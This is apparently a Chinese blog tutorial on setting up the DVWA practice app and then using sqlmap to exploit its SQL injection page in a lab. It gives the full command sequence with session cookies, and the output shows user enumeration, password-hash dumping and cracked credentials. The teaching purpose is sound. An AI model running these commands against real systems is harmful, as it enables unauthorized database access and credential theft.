1. 程式人生 > >搭建DVWA測試環境和SQL注入之SQLmap入門

搭建DVWA測試環境和SQL注入之SQLmap入門

DVWA是一款滲透測試的演練系統,在圈子裡是很出名的。如果你需要入門,並且找不到合適的靶機,那我就推薦你用DVWA。

我們通常將演練系統稱為靶機,下面請跟著我一起搭建DVWA測試環境。如果你有一定的基礎,可以直接看下面一章節。

0x00 前言


我這裡用的是win7 系統,為啥要用win7。因為剛好我這裡有現成的系統。其實你用windows 2008 等等的都是可以的。

我只是用win7 舉個栗子,請看好下面。

0x01 VMware安裝

為什麼我要說下VMware的安裝?因為VMware能夠幫助你,更加方便的搭建DVWA。

下面是VMware的下載連結:

1

http://sw.bos.baidu.com/sw-search-sp/software/a08321b624453/VMware_workstation_full_12.5.2.exe

下載後執行,安裝。安裝教程如下:

http://jingyan.baidu.com/article/90895e0f95a07564ec6b0bc7.html

0x02 Win7安裝

請把Win7下載好。

https://www.microsoft.com/zh-cn/download/details.aspx?id=5842

然後在虛擬機器中配置。

1

http://jingyan.baidu.com/article/ff4116259a1e7d12e48237ad.html

0x03 安裝PHP整合環境

我這裡用的是phpstudy 2016,這個使用起來比較方便。下面是現在的最新版。

1

http://www.phpstudy.net/phpstudy/phpStudy20161103.zip

下載後然後放在安裝好的Win7種執行。

安裝起來比較容易,一直點下一步。然後會有初始化的提示點選是。

看的如下的視窗說明你安裝成功了。

0x04安裝DVWA 

從這裡面進行下載。

1

https://github.com/ethicalhack3r/DVWA

把下載好的DWVA的壓縮包,放在C:\phpStudy\WWW中(因為我將phpStudy安裝在C盤,所以是C:\phpStudy),然後解壓DWVA的壓縮包。

 

 下一步。需要配置DVWA連結資料庫,請開啟config資料夾,開啟config.inc.php。

 需要把db_password 修改成 root ,因為咱們剛安裝好的整合環境預設的MYSQL 連結使用者名稱和密碼為 root root。修改後別忘了儲存。

 0x05 讓我們登陸DVWA 

需要找到自己的本機IP,然後記下來。

 最後用瀏覽器訪問 http://192.168.0.5/DVWA-master/index.php (我這裡的IP是 192.168.0.5),選擇箭頭所指。

 將新開啟的頁面往下拉,點選箭頭所指。

 建立成功。哈哈。

然後咱們再次訪問 http://192.168.0.5/DVWA-master/login.php 需要輸入使用者名稱密碼。預設使用者名稱 admin 預設密碼 password。

 最後成功登陸DVWA,OK,撒花。

 本章到此就完了,下章為DWVA 的配置和暴力破解靶機。

===============================================================

什麼是SQLmap?

SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(資料庫指紋、訪問底層檔案系統、執行命令)。

SQLmap的作者是誰?

Bernardo DameleAssumpcao Guimaraes (@inquisb),讀者可以通過[email protected]與他取得聯絡,以及Miroslav Stampar (@stamparm)讀者可以通過[email protected]與他聯絡。

同時讀者也可以通過[email protected]與SQLmap的所有開發者聯絡。

執行SQLmap的命令是什麼?

進入sqlmap.py所在的目錄,執行以下命令:

#python sqlmap.py -h

(譯註:選項列表太長了,而且與最新版本有些差異,所以這裡不再列出,請讀者下載最新版在自己機器上看吧)

SQLmap命令選項被歸類為目標(Target)選項、請求(Request)選項、優化、注入、檢測、技巧(Techniques)、指紋、列舉等。

如何使用SQLmap:

為方便演示,我們建立兩個虛擬機器:

1、受害者機器, windows     XP作業系統,執行一個web伺服器,同時跑著一個包含漏洞的web應用(DVWA)。

2、攻擊器機器,使用Ubuntu     12.04,包含SQLmap程式。

本次實驗的目的:使用SQLmap得到以下資訊:

3、列舉MYSQL使用者名稱與密碼。

4、列舉所有資料庫。

5、列舉指定資料庫的資料表。

6、列舉指定資料表中的所有使用者名稱與密碼。

使用SQLmap之前我們得到需要當前會話cookies等資訊,用來在滲透過程中維持連線狀態,這裡使用Firefox中名為“TamperData”的add-on獲取。

SQL入門

當前得到的cookie為“security=high;PHPSESSID=57p5g7f32b3ffv8l45qppudqn3″。

為方便演示,我們將DVWA安全等級設定為low:

SQL入門

接下來我們進入頁面的“SQL Injection”部分,輸入任意值並提交。可以看到get請求的ID引數如下:

“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”

因此該頁面就是我們的目標頁面。

以下命令可以用來檢索當前資料庫和當前使用者:

“./sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -b –current-db –current-user”

使用選項:

1、–cookie : 設定我們的cookie值“將DVWA安全等級從high設定為low”

2、-u : 指定目標URL

3、-b : 獲取DBMS banner

4、–current-db : 獲取當前資料庫

5、–current-user:獲取當前使用者

結果如下:

SQL入門

可以看到結果如下:

DBMS : MySQLversion 5.0
OS versionUbuntu 12.04
current user:root
current db :DVWA

以下命令用來列舉所有的DBMS使用者和密碼hash,在以後更進一步的攻擊中可以對密碼hash進行破解:

“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --string=”Surname” --users --password”

使用選項:

1、–string : 當查詢可用時用來匹配頁面中的字串

2、–users : 列舉DBMS使用者

3、–password : 列舉DBMS使用者密碼hash

SQL入門

結果如下:

databasemanagement system users [142]:
[*] ”@’kingasmk’
[*]”@’localhost’
[*]‘debian-sys-maint’@'localhost’
[*]‘phpmyadmin’@'localhost’
[*]‘root’@’127.0.0.1′
[*] ‘root’@'::1′
[*]‘root’@'kingasmk’
[*]‘root’@'localhost’

資料庫管理系統使用者和密碼hash:

[*]debian-sys-maint [1]:
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
[*] phpmyadmin[1]:
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
[*] root [4]:
password hash: *C30441E06530498BC86019BF3211B94B3BAB295A
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

讀者可以使用Cain&Abel、John&Ripper等工具將密碼hash破解為明文。以下命令會列舉系統中所有的資料庫schema:

“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”
--cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --dbs”

使用選項:

  • –dbs: 列舉DBMS中的資料庫

SQL入門

結果如下:

availabledatabases [5]:
[*]dvwa
[*]information_schema
[*]mysql
[*]performance_schema
[*]phpmyadmin

下面我們嘗試列舉DVWA資料表,執行以下命令:

“sqlmap.py-u “http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa --tables”

使用選項:

1、-D : 要列舉的DBMS資料庫

2、–tables     : 列舉DBMS資料庫中的資料表

SQL入門

得到結果如下:

Database: dvwa
[2 tables]
+————+
| guestbook |
| users |
+————+

下面獲取使用者表的列,命令如下:

 “sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa -T users --columns”

使用選項:

  • -T : 要列舉的DBMS資料庫表

  • –columns : 列舉DBMS資料庫表中的所有列

SQL入門

結果如下:

Database: dvwa
Table: users
[6 columns]
+————+————-+
| Column | Type|
+————+————-+
| avatar |varchar(70) |
| first_name |varchar(15) |
| last_name |varchar(15) |
| password |varchar(32) |
| user |varchar(15) |
| user_id |int(6) |
+————+————-+

如上所示,以上為我們感興趣的列,表示使用者名稱與密碼等。下面將每一列的內容提取出來。執行以下命令,將使用者與密碼錶中的所有使用者名稱與密碼dump出來:

“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low” -D dvwa -T users-C user,password --dump”

使用選項:

  • -T : 要列舉的DBMS資料表

  • -C: 要列舉的DBMS資料表中的列

  • –dump : 轉儲DBMS資料表項

SQLmap會提問是否破解密碼,按回車確認:

SQL入門

得到所有使用者名稱與明文密碼如下:

Database: dvwa
Table: users
[5 entries]
+———+———+———————————————+
| user_id | user| password |
+———+———+———————————————+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99(password) |
| 2 | gordonb |e99a18c428cb38d5f260853678922e03 (abc123) |
| 3 | 1337 |8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| 4 | pablo |0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| 5 | smithy |5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+———+———+———————————————+

這時我們就可以利用admin帳戶登入做任何事了。

總結:

SQLmap是一個非常強大的工具,可以用來簡化操作,並自動處理SQL注入檢測與利用。

相關推薦

搭建DVWA測試環境SQL注入SQLmap入門

DVWA是一款滲透測試的演練系統,在圈子裡是很出名的。如果你需要入門,並且找不到合適的靶機,那我就推薦你用

Windows下輕鬆搭建DVWA測試環境

2,安裝phpstudy,啟動apache和mysql服務 3,去瀏覽器輸入:http://127.0.0.1/phpmyadmin進入登陸介面,輸入mysql資料庫預設的使用者名稱和密碼:root/root 如果進入這個頁面表示安裝phpstudy成

SQL注入sqlmap爆破sqli-labs-master

sqlmap是一款爆破mysql資料的神器。這裡我用sqlmap來演示爆破sqli-labs-master的資料庫。 GET型的sqlmap爆破。 1.列舉資料庫:Python sqlmay.py -u http://localhost/sqli-labs-master/L

SQL注入簡單的本地環境測試

1、搭建本地留言板環境進行測試,獲取使用者名稱和密碼留言板的個人中心介面2、新增一個單引號好出現資料庫報錯,可能存在sql注入3、3、判斷注入型別是整型還是字串型別1=1和1=2返回介面不一樣,判斷為整型注入4、猜欄位,7時介面正常,8時介面不正常,說明有7列5、判斷顯示位,

滲透測試DVWA測試環境環境搭建(win10)

(文章結尾為報錯處理DVWA System error - config file not found. Copy config/config.inc.php.dist to config/config.inc.php and configure to your environment.) 1.

搭建TCP伺服器環境jmeter測試TCP協議

搭建伺服器環境 import socket import sys from thread import * HOST = '' # Symbolic name meaning all available interfaces PORT = 888

pythonDjango學習筆記(一)---搭建Django開發環境一些基本命令

system cfile 生成 ont superuser 如果 session username ins 1、Django下載 官方下載地址:https://www.djangoproject.com/download/ 2、Django安裝 linux/wind

eclipse下搭建JBPM6執行環境測試

參考連結:http://blog.csdn.NET/dcz1001/article/details/19905035 3. 下載後的JBPM6包的全稱是:“jbpm-6.0.1.Final-installer-full.zip”,將其加壓縮。 4. 在JB

Android基礎用Eclipse搭建Android開發環境建立第一個Android專案(Windows平臺)

一、搭建Android開發環境 準備工作:下載Eclipse、JDK、Android SDK、ADT外掛        1、安裝和配置JAVA開發環境:            ①把準備好的Eclipse和JDK安裝到本機上(最好安裝在全英文路徑下),並給JD

使用Rancher搭建K8S測試環境

docker tracking rac 按鈕 準備 登錄 ack k8s 名稱 使用Rancher搭建K8S測試環境 http://blog.csdn.net/csdn_duomaomao/article/details/75316926 環境準備(4臺主機,Ubu

Shell實戰:腳本自動化搭建IPsec測試環境

exchange 127.0.0.1 tip type pos 測試 config color ins 1.shell腳本獲取本機IP地址: localhostIP=`LC_ALL=C ifconfig | grep ‘inet addr:‘| grep -v ‘1

CFT每日一題簡單的SQL注入

首先,輸入1 嘗試一下 然後爆出ID 加 個 單引號 嘗試 ,出現報錯介面 然後 大概猜測程式碼是  select xx from XX where id='' 用and測試 發現了有過濾,經過多測實驗後,發現去掉空格就可以 然後開始構造,我們可以使用/**/

python+appium搭建測試環境

: 1,安裝jdk JDK下載好jdk直接點下一步就可以了,然後開始配置變數classpath, path, Java_home;再執行cmd,並輸入Java和javac看輸出判斷環境變數是否配好了。 2,安裝sdk 可以使用http://www.androiddevtools.cn/直接下載adt/A

sql注入與防止SQL注入引數化處理

sql注入的兩種情況: 操作程式碼: import pymysql user = input('使用者名稱: ').strip() pwd = input('密碼: ').strip() # 連結 conn = pymysql.connect(host='localhost', user='ro

SQL注入騷姿勢小記 & 替換 繞過

https://mp.weixin.qq.com/s/ORsciwsBGQJhFdKqceprSw 1、IN之騷 這個我也偶然發現的,也不知前輩們有沒有早已總結好的套路了。w3school上對in操作符的介紹: http://www.w3school.com.cn/sql/sql_in.

搭建自動化測試環境

一、安裝python(3.6.1) 開啟python安裝包勾選add python 3.6 to path---->自動新增環境變數 Ctrl+R--->cmd--->輸入python--->顯示python版本號並進入python的互動模式 報錯:不是內部或外部命令----&g

SQL注入——sqli-labs-master 下載與安裝

轉載請註明出處:https://blog.csdn.net/l1028386804/article/details/84262285 注意事項,寫在前面。 php版本一定要設定成 7 以下,7之後的mysql_都改成了mysqli_**了,用7以上版本的話會報錯 **********

開發環境 測試環境 生產環境的區別

對於一個剛進入公司的新人來說,在熟悉工作環境的時候,會聽著幾個“老人”在自己可視範圍之外或者輕鬆的討論著業務,其措辭拿捏精準,期間,涉及到一系列的概念,可能會讓你不覺明厲,暗歎:“高階,大氣,上檔次”。有些術語,它既有官方稱呼,也有通俗叫法,對於不覺明厲的我們只

Node.js簡介——基於Node.js搭建自動化測試環境

有必要整理一下Node.js基礎知識啦!                                     &

實驗吧Web-中-簡單的sql注入2

輸入union select、order by這些關鍵字會提示SQLi detected! 說明對於關鍵字有防護 輸入1 union也會提示SQLi detected! 但是如果去掉空格:1union,則會返回正常,1'and'1'='1(無空格)也返回正常 所以可能是過濾了空格。